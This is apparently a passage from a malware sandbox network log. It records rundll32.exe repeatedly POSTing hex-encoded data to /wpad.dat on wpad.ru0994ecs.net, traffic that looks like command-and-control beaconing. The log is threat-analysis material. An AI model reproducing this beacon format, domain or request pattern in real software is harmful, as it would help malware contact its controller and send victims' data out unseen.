2024-04-16 21:03:33 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:34 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:34 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fEfAjr7rQAT%2FhoEqLM6dCjb2Y7auYYuBL%2Fle039mzbcUxdYmUWzPmrrkhuSW19sP4pJrTJBKD1EMh6hOjXlW6DSnqawSPsZKBollxhUjJUHzqjLel23ky2nVvzxOj4Lxvb0%2BEu0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571f6e6f0d1396-ATL
2024-04-16 21:03:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	49812	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:34 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:34 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:34 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:34 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OFXnvahHtXONRtDQcbwIAYzx7Ciu%2FmP3QLAtnmp6CZg1SU4lZAbnIqsH1%2Boe2klu56C%2BQvpujuQZywTVUte%2BU2uc%2F1ohh5sRAjYnPwTGwyQNgYy6tlXRNMWxuog8NojYkDkYIgg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571f71ff3a1357-ATL
2024-04-16 21:03:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	49813	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:34 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:34 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:34 UTC	529	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:34 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=03EWc3BqZGP%2B6IxvfF8lGGAN8aPP9NmPQVuXTtjt01VBsU7amjfGSVXtAKz7oKGJxVk1tftcqHbVMudZUXb2A8nURbsYKwFCeAKR0M4LBNDuQfta6CLdgWFhKmLc3CyDhf6He8Q%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571f724ab544ea-ATL
2024-04-16 21:03:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	49814	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:36 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:36 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:36 UTC	531	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:36 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bvj3td2CiUi4TzxIuelH%2BWj4Pleped0s76BiU6rCqA0rn32KD4wJu0jh9yRpojIeScJVSTACesWr2HikrCCU1cfYgE%2FiBdy6eARBy7GT7Xa9G6XtPKZT6I7pVPw8YsGZr3jxybI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571f7dfd144551-ATL
2024-04-16 21:03:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	49815	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:37 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:37 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:37 UTC	539	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:37 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NgRImudGFoPNk77L2bnyuFtlVkRN1mEHOyiTT2VIr%2BBZIW0EOgR3q5joVVi9I5lV9GAhu142JM0wsL%2BziCPWXWDgysZkO%2FW%2BRud%2FnQ3H0Ya1PMQv1m99YL0TpciaDF18%2BSa8PgQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571f826b3453f8-ATL
2024-04-16 21:03:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	49816	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:37 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:37 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:37 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:37 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MHE6i4blI0bSK1z7Ip%2Be2g%2F47u2iy6KcBf4J4DX7HH35vL66cGfKd7fEtxalBpoCqDwW%2Bfxgl8bXUSPK94TaV5bXBWZH7UpsuWuYbL0BaA7w1PkfvVvv%2BLaXx2P%2BtRsAPUpimFY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571f829e4c6748-ATL
2024-04-16 21:03:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	49817	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:38 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:38 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:38 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:38 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mee0RuCrscqZhzsLTQRd5Hlv3mqA17BE0doYInd0l3gbMkFsC3jvDasOOIAXPKHtoamzfVzBOFSWEnBTaDLiM%2FoXked3In8w%2BcH7j1jyD%2FLuc%2Fzjw3dpOMBmecC5L5KpGq2EZiY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571f891ec9455d-ATL
2024-04-16 21:03:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	49818	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:38 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:38 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:38 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:38 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uO%2FWZsq9oKFLSxtb2abqrYgZ4YFfAdyqnUXCrxMyZpeaqEq95TABmbG1k1m8ko3aKKJtqB5uhpP3Qfs%2Furz8xsGfA%2FDItBHxWFWFQHXrSMnWjSoym3FyM7oFLH4lZqFhYNUDZFQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571f891ba9b04b-ATL
2024-04-16 21:03:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	49819	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:40 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:40 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:40 UTC	529	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:40 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KcqE414qZWTd3mR2T23oxtYjZPhIFZbswUP0KBTMcAeok3Ks9EC4PckB2tquN7UnKp3foR5798uso7TDliGuL4pIJcfqL5uXLBsXxVJgwi0VP%2FOty3uo6RYRCH9uvsKT3GwChs0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571f96095d4569-ATL
2024-04-16 21:03:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	49820	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:44 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:44 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:44 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:44 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2F%2BJ2AOmdqeqtqLshdPOyY%2FUtfVODXjm%2FNA4U7IoxvVrMT8nqLBraIMVGclz%2FsxA%2BpHMt2DkHpQXE%2FetAScqLH1AUIDCRnVocvmGuCmCMm3qNhGpx%2Bi0dm70SxlGq9AnDjk3szYk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571faf3b4c44d1-ATL
2024-04-16 21:03:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	49821	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:44 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:44 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:44 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:44 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lOAfyxGaNAQLPTwR1kwexaMA5g6XKTukz9HKMUUCvr7hm3TRjb31aizGYMutqpxYLcMCHaW%2FawQZafe%2F80ct5un%2BcA8mVjNpcC2uK5hiKZTR8mo%2BIQtgHmIItlDTotG4oPwH5Rs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571faf4c21454e-ATL
2024-04-16 21:03:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	49822	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:44 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:44 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:45 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:45 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=h8aySi98klRC%2BxmC1woQLt8nZyVw1mKjiD7oQ0E%2B2DBqxYc1dHcLWzF282IL8srpLs2rbppRbXVfY%2BTIuUWkUHm0CFlaKIUpsYvzWr1bFBLD1X%2B68TJbNRZPBMaM3Uf3DXqK2Ug%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571fb2edbe7bde-ATL
2024-04-16 21:03:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	49823	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:48 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:03:48 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:03:49 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:03:49 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=A%2Biw1JqiTv%2BpwO8EQlotKCLp8mawfUlSwE32WD%2FntX1Hyx4nyAGlngr4MARydn9B1hvRFDuIVjUOSHjVgasuzNxYb0mQ4%2BJV8Qo6lVDNYYltTdoouECnb7KL3s07sII52H5HInQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571fcbfeff53f7-ATL
2024-04-16 21:03:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	49824	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:03:48 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
